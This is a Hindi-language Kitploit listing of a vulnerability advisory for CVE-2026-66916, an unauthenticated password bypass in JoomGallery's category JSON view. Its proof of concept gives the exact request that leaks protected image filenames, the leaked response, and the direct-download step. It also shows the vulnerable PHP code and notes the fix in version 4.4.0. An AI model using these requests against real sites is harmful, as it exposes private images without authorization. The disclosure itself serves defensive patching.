Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-66916 — पासवर्ड-संरक्षित श्रेणी में JSON प्रारूप के माध्यम से बाईपास, JoomGallery में | Kitploit
उपकरण/GitHubGitHub/toanln-cov/cve-2026-66916
भेद्यता विश्लेषणवेब एप्लिकेशन शोषणवेब सुरक्षा
GitHubtoanln-cov/cve-2026-66916

CVE-2026-66916

पासवर्ड-संरक्षित श्रेणी में JSON प्रारूप के माध्यम से बाईपास, JoomGallery में

रिपॉजिटरी देखें
1 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

जूमगैलरी में JSON फॉर्मेट के माध्यम से पासवर्ड-संरक्षित श्रेणी बायपास

जूमगैलरी ≤ 4.3.0-stable — अनधिकृत हमलावर संरक्षित छवियों को डाउनलोड करने के लिए पासवर्ड गेट को बायपास करता है

CVE CVSS v4.0 CWE-284 Affected Researcher


सारांश

JoomGallery की श्रेणी JSON व्यू में एक अनधिकृत अभिगम नियंत्रण बायपास मौजूद है। जब किसी गैलरी श्रेणी को पासवर्ड से सुरक्षित किया जाता है, तो HTML व्यू पासवर्ड गेट को सही ढंग से लागू करता है — लेकिन JSON व्यू (format=json) इस जाँच को पूरी तरह से छोड़ देता है।

कोई भी दूरस्थ हमलावर बिना किसी क्रेडेंशियल के श्रेणी का शीर्षक, विवरण और सभी संरक्षित छवियों के यादृच्छिक फ़ाइलनाम प्राप्त कर सकता है, और फिर उन छवियों को सीधे डाउनलोड कर सकता है। एक ही HTTP अनुरोध के साथ पासवर्ड सुरक्षा सुविधा बायपास हो जाती है।

यह बायपास केवल उन श्रेणियों तक सीमित है जिनका Joomla ACL एक्सेस स्तर Public (access=1) पर सेट है। Registered या Special एक्सेस वाली श्रेणियाँ अभी भी JsonView.php:69 में ACL परत पर अवरुद्ध रहती हैं।


प्रभावित संस्करण

टूल डाउनलोड करें
घटकअसुरक्षितपरीक्षण किया गयासुधार
JoomGallery4.3.0-stableJoomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache)4.4.0

भेद्यता विवरण

प्रकार: अनुचित अभिगम नियंत्रण (CWE-284) प्रमाणीकरण आवश्यक: कोई नहीं — अनधिकृत, एकल HTTP अनुरोध फ़ाइल: site/com_joomgallery/src/View/Category/JsonView.php, पंक्तियाँ 76–96

मूल कारण

JoomGallery श्रेणियों के लिए पासवर्ड सुरक्षा को pw_protected फ़्लैग के माध्यम से लागू करता है। यह जाँच HtmlView.php में मौजूद है लेकिन JsonView.php में पूरी तरह से अनुपस्थित है:

HTMLVIEW.PHP — सही (गार्ड मौजूद)

root@kitploit:~
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
    $this->item->images->items   = $model->getImages();
    $this->item->children->items = $model->getChildren();
}

JSONVIEW.PHP — असुरक्षित (कोई गार्ड नहीं)

root@kitploit:~
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent          = $model->getParent();
$this->item->children->items = $model->getChildren();  // always executes
$this->item->images->items   = $model->getImages();    // always executes
$this->output($this->item);  // serializes full response to JSON including filenames

Joomla का format=json पैरामीटर उसी URL को एक अलग View क्लास में रूट करता है। प्रत्येक View को स्वतंत्र रूप से एक्सेस जाँच लागू करनी चाहिए — फ्रेमवर्क उन्हें स्वचालित रूप से प्रचारित नहीं करता। डेवलपर ने HtmlView में pw_protected गार्ड जोड़ा लेकिन JsonView में इसे हटा दिया।

JoomGallery की पासवर्ड सुरक्षा छवि फ़ाइलनामों को गुप्त रखने पर निर्भर करती है — फ़ाइलें /images/joomgallery/originals/ के अंतर्गत स्थिर संपत्तियों के रूप में संग्रहीत की जाती हैं और बिना किसी सर्वर-साइड प्रमाणीकरण के Apache द्वारा सीधे परोसी जाती हैं। फ़ाइलनाम यादृच्छिक होते हैं (उदा., secret-image-1_20260803_1951053711.jpg) और केवल PHP/Joomla परत के माध्यम से पासवर्ड जाँच पारित करने के बाद ही प्रकट किए जाते हैं। JSON बायपास अनधिकृत अनुरोधकर्ताओं को फ़ाइलनाम प्रकट करके इस मॉडल को तोड़ता है, जिससे पूर्ण छवि प्राप्ति तक हमले की श्रृंखला पूरी होती है।


प्रूफ ऑफ कॉन्सेप्ट

प्रयोगशाला सेटअप:

  • श्रेणी: सीक्रेट गैलरी (id=3, pw_protected=true, access=Public)
  • इसमें शामिल है: सीक्रेट इमेज 1 (secret-image-1_20260803_1951053711.jpg)
  • नीचे किसी भी चरण में कोई कुकी, कोई सत्र, कोई क्रेडेंशियल उपयोग नहीं किया गया

1. HTML व्यू पासवर्ड गेट लागू करता है

root@kitploit:~
GET /index.php/component/joomgallery/category/3

परिणाम: पासवर्ड फॉर्म प्रस्तुत किया गया। कोई श्रेणी सामग्री दिखाई नहीं देती।

चरण 1 — HTML पासवर्ड गेट


2. डायरेक्ट इमेज एक्सेस भी HTML के माध्यम से अवरुद्ध है

root@kitploit:~
GET /index.php/gallery/categories/3-secret-gallery

परिणाम: अलियास पथ (/3-secret-gallery) में डायरेक्ट इमेज एक्सेस अवरुद्ध है

चरण 2 — इमेज एक्सेस अवरुद्ध


3. JSON फॉर्मेट पासवर्ड जाँच को बायपास करता है — वास्तविक फ़ाइलनाम लीक करता है

root@kitploit:~
GET /index.php?option=com_joomgallery&view=category&format=json&id=3

प्रतिक्रिया (HTTP 200, कोई प्रमाणीकरण नहीं):

root@kitploit:~
{
  "success": true,
  "data": {
    "title": "Secret Gallery",
    "description": "<p>SENSITIVE: Internal photos — restricted access</p>",
    "pw_protected": true,
    "access": 1,
    "images": {
      "items": [
        {
          "title": "Secret Image 1",
          "filename": "secret-image-1_20260803_1951053711.jpg",
          "cattitle": "Secret Gallery",
          "access": "Public"
        }
      ]
    }
  }
}

pw_protected: true पुष्टि करता है कि पासवर्ड सेट है। इसके बावजूद, यादृच्छिक फ़ाइलनाम सहित पूरी प्रतिक्रिया एक अनधिकृत कॉलर को लौटा दी जाती है।

चरण 3 — JSON बायपास फ़ाइलनाम लीक करता है


4. लीक किए गए फ़ाइलनाम का उपयोग करके संरक्षित छवि डाउनलोड करें

चरण 3 में प्राप्त फ़ाइलनाम का उपयोग करना

परिणाम: HTTP 200 — छवि फ़ाइल सीधे Apache द्वारा लौटाई गई। कोई प्रमाणीकरण आवश्यक नहीं।

चरण 4 — संरक्षित छवि डाउनलोड की गई


प्रभाव

  1. संरक्षित श्रेणी मेटाडेटा पढ़ें — शीर्षक, विवरण, निर्माण जानकारी, पैरेंट पदानुक्रम, सभी बिना प्रमाणीकरण के लौटाए गए
  2. सभी छवि फ़ाइलनामों की गणना करें किसी भी पासवर्ड-संरक्षित Public श्रेणी में एक JSON अनुरोध के माध्यम से
  3. सभी संरक्षित छवियाँ डाउनलोड करें लीक किए गए वास्तविक फ़ाइलनामों का उपयोग करके सीधे स्थिर फ़ाइल एक्सेस के माध्यम से पूर्ण मूल रिज़ॉल्यूशन में

एडमिन ने जिस भी गैलरी श्रेणी को पासवर्ड से सुरक्षित किया है, वह पूरी तरह से समझौता हो जाती है। हमलावर को केवल संख्यात्मक श्रेणी ID की आवश्यकता होती है, जो क्रमिक है और आसानी से गणना योग्य है।


संदर्भ

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-66916
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-66916
  • GitHub सलाह: https://github.com/advisories/GHSA-g79m-pfhw-2c5m
  • विक्रेता रिपॉजिटरी: https://github.com/JoomGallery/JoomGallery
  • विक्रेता नई रिलीज़ नोट: https://www.joomgalleryfriends.net/en/blog/joomgallery-4-en/joomgallery-4-4-0.html